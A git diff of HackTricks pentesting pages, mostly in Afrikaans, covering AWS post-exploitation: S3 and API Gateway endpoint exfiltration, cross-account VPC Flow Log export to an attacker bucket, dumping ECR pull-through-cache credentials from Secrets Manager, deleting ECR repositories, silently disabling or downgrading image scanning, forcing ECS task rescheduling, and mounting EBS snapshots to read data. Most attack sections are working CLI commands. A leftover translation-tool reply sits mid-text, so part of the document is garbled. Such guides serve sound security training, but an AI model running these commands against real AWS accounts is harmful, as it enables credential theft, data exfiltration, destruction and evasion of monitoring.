$VPC_ID \ +--service-name com.amazonaws.$REGION.s3 \ +--vpc-endpoint-type Gateway \ +--route-table-ids $RTB_IDS \ +--policy-document file://allow-put-get-any-s3.json # optional +``` +Bewyse om vas te vang: +- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` wys 'n roete na die AWS S3 prefix list (bv., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`). +- Vanaf 'n instance in daardie subnets (met IAM regte) kan jy exfil via S3 sonder Internet: +```bash +# On the isolated instance (e.g., via SSM): +echo data > /tmp/x.txt +aws s3 cp /tmp/x.txt s3:///egress-test/x.txt --region $REGION +``` +## Opsie B – Interface VPC Endpoint vir API Gateway (execute-api) + +**Veranderlikes** +- `REGION=us-east-1` +- `VPC_ID=` +- `SUBNET_IDS=` +- `SG_VPCE=` + +1) Skep die interface-endpoint en heg die SG aan: +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id $VPC_ID \ +--service-name com.amazonaws.$REGION.execute-api \ +--vpc-endpoint-type Interface \ +--subnet-ids $SUBNET_IDS \ +--security-group-ids $SG_VPCE \ +--private-dns-enabled +``` +Bewyse om vas te lê: +- `aws ec2 describe-vpc-endpoints` wys die endpoint in die `available` staat met `NetworkInterfaceIds` (ENIs in jou subnets). +- Instances in daardie subnets kan Private API Gateway endpoints bereik deur daardie VPCE ENIs (geen Internet-pad benodig nie). + +## Impak +- Omseil perimeter egress-beheer deur gebruik te maak van AWS‑beheerde private paaie na AWS-dienste. +- Maak data exfiltration vanaf geïsoleerde subnets moontlik (bv. skryf na S3; aanroep Private API Gateway; bereik Secrets Manager/SSM/STS, ens.) sonder IGW/NAT. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md new file mode 100644 index 000000000..735feb8af --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md @@ -0,0 +1,74 @@ +# AWS - VPC Flow Logs Cross-Account Exfiltration to S3 + +{{#include ../../../../banners/hacktricks-training.md}} + +## Opsomming +Misbruik `ec2:CreateFlowLogs` om VPC-, subnet- of ENI flow logs direk na 'n aanvallerbeheer S3-bucket te exporteer. Sodra die delivery role gekonfigureer is om na die eksterne bucket te skryf, word elke verbinding wat op die gemoniteerde hulpbron gesien word, uit die victim account uitgestroom. + +## Vereistes +- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created). +- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`. +- Opsioneel: `logs:DescribeLogGroups` if exporting to CloudWatch instead of S3 (not needed here). + +## Aanvalsstap-vir-stap + +1) **Attacker** stel 'n S3-bucketbeleid op (in attacker account) wat die VPC Flow Logs delivery service toelaat om objekte te skryf. Vervang plaashouers voordat u dit toepas: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowVPCFlowLogsDelivery", +"Effect": "Allow", +"Principal": { "Service": "delivery.logs.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::/flowlogs/*", +"Condition": { +"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" } +} +} +] +} +``` +Pas toe vanaf die attacker account: +```bash +aws s3api put-bucket-policy \ +--bucket \ +--policy file://flowlogs-policy.json +``` +2) **Victim** (compromised principal) skep die flow logs wat die attacker bucket teiken: +```bash +REGION=us-east-1 +VPC_ID= +ROLE_ARN= # Must allow delivery.logs.amazonaws.com to assume it +aws ec2 create-flow-logs \ +--resource-type VPC \ +--resource-ids "$VPC_ID" \ +--traffic-type ALL \ +--log-destination-type s3 \ +--log-destination arn:aws:s3:::/flowlogs/ \ +--deliver-logs-permission-arn "$ROLE_ARN" \ +--region "$REGION" +``` +Binne minute verskyn flow log-lêers in die attacker bucket wat verbindings bevat vir alle ENIs in die gemonitorde VPC/subnet. + +## Bewyse + +Voorbeeld flow log-opnames wat na die attacker bucket geskryf is: +```text +version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status +2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK +``` +Bewys van Bucket-lys: +```bash +aws s3 ls s3:///flowlogs/ --recursive --human-readable --summarize +``` +## Impak +- Voortdurende netwerkmetadata exfiltration (bron/bestemming IP-adresse, poorte, protokolle) vir die gemonitorde VPC/subnet/ENI. +- Maak verkeersontleding, identifisering van sensitiewe dienste en potensiële soektog na security group-miskonfigurasies van buite die geaffekteerde rekening moontlik. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md deleted file mode 100644 index 40bd34b4c..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ /dev/null @@ -1,92 +0,0 @@ -# AWS - ECR Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Vir meer inligting, kyk - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Login, Pull & Push -```bash -# Docker login into ecr -## For public repo (always use us-east-1) -aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ -## For private repo -aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com -## If you need to acces an image from a repo if a different account, in set the account number of the other account - -# Download -docker pull .dkr.ecr..amazonaws.com/:latest -## If you still have the error "Requested image not found" -## It might be because the tag "latest" doesn't exit -## Get valid tags with: -TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') -curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list - -# Inspect the image -docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 - -# Upload (example uploading purplepanda with tag latest) -docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest -docker push .dkr.ecr..amazonaws.com/purplepanda:latest - -# Downloading without Docker -# List digests -aws ecr batch-get-image --repository-name level2 \ ---registry-id 653711331788 \ ---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' - -## Download a digest -aws ecr get-download-url-for-layer \ ---repository-name level2 \ ---registry-id 653711331788 \ ---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" -``` -Na die aflaai van die beelde moet jy **hulle vir sensitiewe inligting nagaan**: - -{{#ref}} -https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html -{{#endref}} - -### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` - -'n Aanvaller met enige van hierdie toestemmings kan **'n lewensiklusbeleid skep of wysig om alle beelde in die repository te verwyder** en dan **die hele ECR-repository te verwyder**. Dit sal lei tot die verlies van alle houerbeelde wat in die repository gestoor is. -```bash -bashCopy code# Create a JSON file with the malicious lifecycle policy -echo '{ -"rules": [ -{ -"rulePriority": 1, -"description": "Delete all images", -"selection": { -"tagStatus": "any", -"countType": "imageCountMoreThan", -"countNumber": 0 -}, -"action": { -"type": "expire" -} -} -] -}' > malicious_policy.json - -# Apply the malicious lifecycle policy to the ECR repository -aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json - -# Delete the ECR repository -aws ecr delete-repository --repository-name your-ecr-repo-name --force - -# Delete the ECR public repository -aws ecr-public delete-repository --repository-name your-ecr-repo-name --force - -# Delete multiple images from the ECR repository -aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 - -# Delete multiple images from the ECR public repository -aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md new file mode 100644 index 000000000..ead31ed2e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -0,0 +1,209 @@ +# AWS - ECR Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Vir meer inligting, sien + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Login, Pull & Push +```bash +# Docker login into ecr +## For public repo (always use us-east-1) +aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ +## For private repo +aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com +## If you need to acces an image from a repo if a different account, in set the account number of the other account + +# Download +docker pull .dkr.ecr..amazonaws.com/:latest +## If you still have the error "Requested image not found" +## It might be because the tag "latest" doesn't exit +## Get valid tags with: +TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') +curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list + +# Inspect the image +docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 +docker inspect .dkr.ecr..amazonaws.com/: # Inspect the image indicating the URL + +# Upload (example uploading purplepanda with tag latest) +docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest +docker push .dkr.ecr..amazonaws.com/purplepanda:latest + +# Downloading without Docker +# List digests +aws ecr batch-get-image --repository-name level2 \ +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' + +## Download a digest +aws ecr get-download-url-for-layer \ +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +``` +Nadat jy die images afgelaai het, moet jy **hulle vir sensitiewe inligting nagaan**: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` + +'n aanvaller met enige van hierdie permissies kan **'n lifecycle policy skep of wysig om alle images in die repository te verwyder** en dan **die hele ECR repository te verwyder**. Dit sou lei tot die verlies van alle container images wat in die repository gestoor is. +```bash +# Create a JSON file with the malicious lifecycle policy +echo '{ +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] +}' > malicious_policy.json + +# Apply the malicious lifecycle policy to the ECR repository +aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json + +# Delete the ECR repository +aws ecr delete-repository --repository-name your-ecr-repo-name --force + +# Delete the ECR public repository +aws ecr-public delete-repository --repository-name your-ecr-repo-name --force + +# Delete multiple images from the ECR repository +aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 + +# Delete multiple images from the ECR public repository +aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + +### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC) + +Indien ECR Pull‑Through Cache gekonfigureer is vir geauthentiseerde upstream registries (Docker Hub, GHCR, ACR, ens.), word die upstream credentials gestoor in AWS Secrets Manager met 'n voorspelbare naamvoorvoegsel: `ecr-pullthroughcache/`. Operateurs gee soms ECR-admins uitgebreide lees-toegang tot Secrets Manager, wat credential exfiltration en hergebruik buite AWS moontlik maak. + +Vereistes +- secretsmanager:ListSecrets +- secretsmanager:GetSecretValue + +Lys kandidaat PTC-sekrete +```bash +aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ +--output text +``` +Laai ontdekte geheime uit en ontleed algemene velde +```bash +for s in $(aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do +aws secretsmanager get-secret-value --secret-id "$s" \ +--query SecretString --output text | tee /tmp/ptc_secret.json +jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true +jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true +done +``` +Opsioneel: verifieer leaked creds teen die upstream (read‑only login) +```bash +echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io +``` +Impak +- Die lees van hierdie Secrets Manager-inskrywings lewer herbruikbare upstream registry credentials (username/password or token), wat buite AWS misbruik kan word om private images te trek of toegang tot addisionele repositories te kry, afhangend van upstream-permissies. + + +### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration` + +'n Aanvaller met registry-level ECR-permissions kan stilweg die outomatiese kwesbaarheidskandering vir ALLE repositories verminder of deaktiveer deur die registry scanning configuration op BASIC te stel sonder enige scan-on-push-reëls. Dit voorkom dat nuwe image pushes outomaties gescan word, en verberg kwesbare of kwaadwillige images. + +Vereistes +- ecr:PutRegistryScanningConfiguration +- ecr:GetRegistryScanningConfiguration +- ecr:PutImageScanningConfiguration (optional, per‑repo) +- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification) + +Register-wye afgradering na handmatig (geen outomatiese skanderings nie) +```bash +REGION=us-east-1 +# Read current config (save to restore later) +aws ecr get-registry-scanning-configuration --region "$REGION" + +# Set BASIC scanning with no rules (results in MANUAL scanning only) +aws ecr put-registry-scanning-configuration \ +--region "$REGION" \ +--scan-type BASIC \ +--rules '[]' +``` +Toets met 'n repo en 'n image +```bash +acct=$(aws sts get-caller-identity --query Account --output text) +repo=ht-scan-stealth +aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile +docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test . +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test + +# Verify no scan ran automatically +aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus' +# Optional: will error with ScanNotFoundException if no scan exists +aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true +``` +I don't have the README.md content. Please paste the file's markdown here (or upload the text) and I'll translate the English to Afrikaans while preserving all markdown, code, links, tags, and paths per your instructions. +```bash +# Disable scan-on-push for a specific repository +aws ecr put-image-scanning-configuration \ +--region "$REGION" \ +--repository-name "$repo" \ +--image-scanning-configuration scanOnPush=false +``` +Impak +- Nuwe beelde wat regoor die register gedruk word, word nie outomaties geskandeer nie, wat die sigbaarheid van kwesbare of kwaadwillige inhoud verminder en die opsporing vertraag totdat 'n handmatige skandering geïnisieer word. + + +### Register‑wye afgradering van die skandering‑engine via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) + +Verminder die kwaliteit van kwesbaarheidsopsporing oor die hele register deur die BASIC scan engine van die verstek AWS_NATIVE na die ouer CLAIR engine te skuif. Dit deaktiveer nie skandering nie, maar kan bevindinge en dekking beduidend verander. Kombineer dit met 'n BASIC registry scanning configuration sonder reëls om skanderings slegs-manueel te maak. + +Vereistes +- `ecr:PutAccountSetting`, `ecr:GetAccountSetting` +- (Opsioneel) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` + +Impak +- Registerinstelling `BASIC_SCAN_TYPE_VERSION` word op `CLAIR` gestel sodat daaropvolgende BASIC scans met die afgegradeerde engine loop. CloudTrail neem die `PutAccountSetting` API-oproep op. + +Stappe +```bash +REGION=us-east-1 + +# 1) Read current value so you can restore it later +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true + +# 2) Downgrade BASIC scan engine registry‑wide to CLAIR +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR + +# 3) Verify the setting +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION + +# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans) +aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true + +# 5) Restore to AWS_NATIVE when finished to avoid side effects +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md deleted file mode 100644 index d8ef51520..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ /dev/null @@ -1,57 +0,0 @@ -# AWS - ECS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Host IAM Roles - -In ECS kan 'n **IAM rol aan die taak** toegeken word wat binne die houer loop. **As** die taak binne 'n **EC2** instansie loop, sal die **EC2 instansie** 'n **ander IAM** rol aan dit hê.\ -Dit beteken dat as jy daarin slaag om 'n ECS instansie te **kompromitteer**, jy potensieel die **IAM rol geassosieer met die ECR en die EC2 instansie** kan **verkry**. Vir meer inligting oor hoe om daardie akrediteer te kry, kyk: - -{{#ref}} -https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html -{{#endref}} - -> [!CAUTION] -> Let daarop dat as die EC2 instansie IMDSv2 afdwing, [**volgens die dokumentasie**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **antwoord van die PUT versoek** 'n **hop limiet van 1** sal hê, wat dit onmoontlik maak om toegang tot die EC2 metadata vanaf 'n houer binne die EC2 instansie te verkry. - -### Privesc to node to steal other containers creds & secrets - -Maar verder, gebruik EC2 docker om ECs take te loop, so as jy kan ontsnap na die node of **toegang tot die docker socket** kan kry, kan jy **kyk** watter **ander houers** aan die gang is, en selfs **binne hulle gaan** en **hulle IAM rolle** steel. - -#### Making containers run in current host - -Boonop sal die **EC2 instansie rol** gewoonlik genoeg **toestemmings** hê om die **toestand van die houer instansie** van die EC2 instansies wat as nodes binne die kluster gebruik word, te **opdateer**. 'n Aanvaller kan die **toestand van 'n instansie na DRAINING** verander, dan sal ECS **alle take daarvan verwyder** en diegene wat as **REPLICA** loop, sal in 'n ander instansie **loop**, potensieel binne die **aanvaller se instansie** sodat hy **hulle IAM rolle** en potensieel sensitiewe inligting van binne die houer kan **steel**. -```bash -aws ecs update-container-instances-state \ ---cluster --status DRAINING --container-instances -``` -Die dieselfde tegniek kan gedoen word deur **die EC2-instantie van die kluster af te deregistreer**. Dit is potensieel minder stil, maar dit sal **die take dwing om in ander instanties uitgevoer te word:** -```bash -aws ecs deregister-container-instance \ ---cluster --container-instance --force -``` -'n Finale tegniek om die heruitvoering van take te dwing, is deur aan ECS aan te dui dat die **taak of houer gestop is**. Daar is 3 potensiële API's om dit te doen: -```bash -# Needs: ecs:SubmitTaskStateChange -aws ecs submit-task-state-change --cluster \ ---status STOPPED --reason "anything" --containers [...] - -# Needs: ecs:SubmitContainerStateChange -aws ecs submit-container-state-change ... - -# Needs: ecs:SubmitAttachmentStateChanges -aws ecs submit-attachment-state-changes ... -``` -### Steel sensitiewe inligting van ECR houers - -Die EC2-instantie sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **beelde af te laai** (jy kan sensitiewe inligting daarin soek). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md new file mode 100644 index 000000000..10f5eaca2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md @@ -0,0 +1,126 @@ +# AWS - ECS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +For more information check: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Gasheer IAM-rolle + +In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\ +Dit beteken dat as jy daarin slaag om **compromise** 'n ECS instance jy moontlik die **IAM role associated to the ECR and to the EC2 instance** kan obtain. Vir meer inligting oor hoe om daardie credentials te kry, kyk: + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html +{{#endref}} + +> [!CAUTION] +> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance. + +### Privesc to node to steal other containers creds & secrets + +Boonop gebruik EC2 docker om ECS tasks te run, so as jy kan escape na die node of **access the docker socket**, kan jy **check** watter **ander containers** ge-run word, en selfs **get inside of them** en **steal their IAM roles** wat daaraan gekoppel is. + +#### Making containers run in current host + +Verder sal die **EC2 instance role** gewoonlik genoeg **permissions** hê om die **container instance state** van die EC2 instances wat as nodes in die cluster gebruik word, te **update**. 'n attacker kan die **state of an instance to DRAINING** wysig; dan sal ECS **remove all the tasks from it**, en dié wat as **REPLICA** gerun word, sal in 'n ander instance run, moontlik binne die **attacker instance**, sodat hy hul **IAM roles** en potensieel sensitiewe inligting binne die container kan **steal**. +```bash +aws ecs update-container-instances-state \ +--cluster --status DRAINING --container-instances +``` +Dieselfde tegniek kan gedoen word deur **die ontregistrering van die EC2-instansie uit die kluster**. Dit is potensieel minder stealthy, maar dit sal **die tasks dwing om op ander instances uitgevoer te word:** +```bash +aws ecs deregister-container-instance \ +--cluster --container-instance --force +``` +'n finale tegniek om die her-uitvoering van take af te dwing is deur ECS aan te dui dat die **task or container was stopped**. Daar is 3 potensiële APIs om dit te doen: +```bash +# Needs: ecs:SubmitTaskStateChange +aws ecs submit-task-state-change --cluster \ +--status STOPPED --reason "anything" --containers [...] + +# Needs: ecs:SubmitContainerStateChange +aws ecs submit-container-state-change ... + +# Needs: ecs:SubmitAttachmentStateChanges +aws ecs submit-attachment-state-changes ... +``` +### Steel sensitiewe inligting uit ECR containers + +Die EC2 instansie sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **download images** (jy kan soek na sensitiewe inligting daarin). + +{{#include ../../../../banners/hacktricks-training.md}} + + + +### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations) + +Misbruik die native ECS EBS integrasie (2024+) om die inhoud van 'n bestaande EBS snapshot direk binne 'n nuwe ECS taak/service te mount en sy data van binne die container te lees. + +- Benodigdhede (minimum): +- ecs:RegisterTaskDefinition +- Een van: ecs:RunTask OR ecs:CreateService/ecs:UpdateService +- iam:PassRole op: + - ECS infrastruktuurrol wat vir volumes gebruik word (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) + - Task execution/Task roles wat in die taakdefinisie verwys word +- As die snapshot met 'n CMK enkripteer is: KMS permissions vir die infrastruktuurrol (die AWS managed policy hierbo sluit die vereiste KMS-toestemmings vir AWS managed keys in). + +- Impak: Lees willekeurige skyfinhoud uit die snapshot (bv. databasislêers) binne die container en exfiltrateer via netwerk/logs. + +Stappe (Fargate voorbeeld): + +1) Skep die ECS infrastruktuurrol (as dit nie bestaan nie) en heg die managed policy aan: +```bash +aws iam create-role --role-name ecsInfrastructureRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsInfrastructureRole \ +--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes +``` +2) Registreer 'n taakdefinisie met 'n volume gemerk as `configuredAtLaunch` en koppel dit in die container. Voorbeeld (druk die geheim uit en slaap daarna): +```json +{ +"family": "ht-ebs-read", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", +"containerDefinitions": [ +{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["cat /loot/secret.txt || true; sleep 3600"], +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}}, +"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}] +} +], +"volumes": [ {"name":"loot", "configuredAtLaunch": true} ] +} +``` +3) Skep of werk 'n diens by en gee die EBS-snapshot deur via `volumeConfigurations.managedEBSVolume` (vereis iam:PassRole op die infra-rol). Voorbeeld: +```json +{ +"cluster": "ht-ecs-ebs", +"serviceName": "ht-ebs-svc", +"taskDefinition": "ht-ebs-read", +"desiredCount": 1, +"launchType": "FARGATE", +"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}}, +"volumeConfigurations": [ +{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam:::role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}} +] +} +``` +4) Wanneer die taak begin, kan die container die snapshot-inhoud by die gekonfigureerde mount path lees (bv. `/loot`). Exfiltrate via die taak se network/logs. + +Opruiming: +```bash +aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0 +aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force +aws ecs deregister-task-definition ht-ebs-read +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md deleted file mode 100644 index d42213ea3..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ /dev/null @@ -1,46 +0,0 @@ -# AWS - EFS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### `elasticfilesystem:DeleteMountTarget` - -'n Aanvaller kan 'n monteerdoelwit verwyder, wat moontlik toegang tot die EFS-lêerstelsel vir toepassings en gebruikers wat op daardie monteerdoelwit staatmaak, kan ontwrig. -```sql -aws efs delete-mount-target --mount-target-id -``` -**Potensiële Impak**: Ontwrichting van lêerstelsels toegang en potensiële dataverlies vir gebruikers of toepassings. - -### `elasticfilesystem:DeleteFileSystem` - -'n Aanvaller kan 'n hele EFS-lêerstelsel verwyder, wat kan lei tot dataverlies en impak op toepassings wat op die lêerstelsel staatmaak. -```perl -aws efs delete-file-system --file-system-id -``` -**Potensiële Impak**: Gegevensverlies en diensonderbreking vir toepassings wat die verwyderde lêerstelsel gebruik. - -### `elasticfilesystem:UpdateFileSystem` - -'n Aanvaller kan die EFS-lêerstelsel eienskappe opdateer, soos deursetmodus, om die prestasie daarvan te beïnvloed of hulpbronuitputting te veroorsaak. -```sql -aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps -``` -**Potensiële Impak**: Afname van lêerstelsels se prestasie of hulpbronuitputting. - -### `elasticfilesystem:CreateAccessPoint` en `elasticfilesystem:DeleteAccessPoint` - -'n Aanvaller kan toegangspunte skep of verwyder, toegangbeheer verander en moontlik onregmatige toegang tot die lêerstelsel aan hulself verleen. -```arduino -aws efs create-access-point --file-system-id --posix-user --root-directory -aws efs delete-access-point --access-point-id -``` -**Potensiële Impak**: Onbevoegde toegang tot die lêerstelsel, data blootstelling of wysiging. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md new file mode 100644 index 000000000..0579300ec --- /dev/null +++ 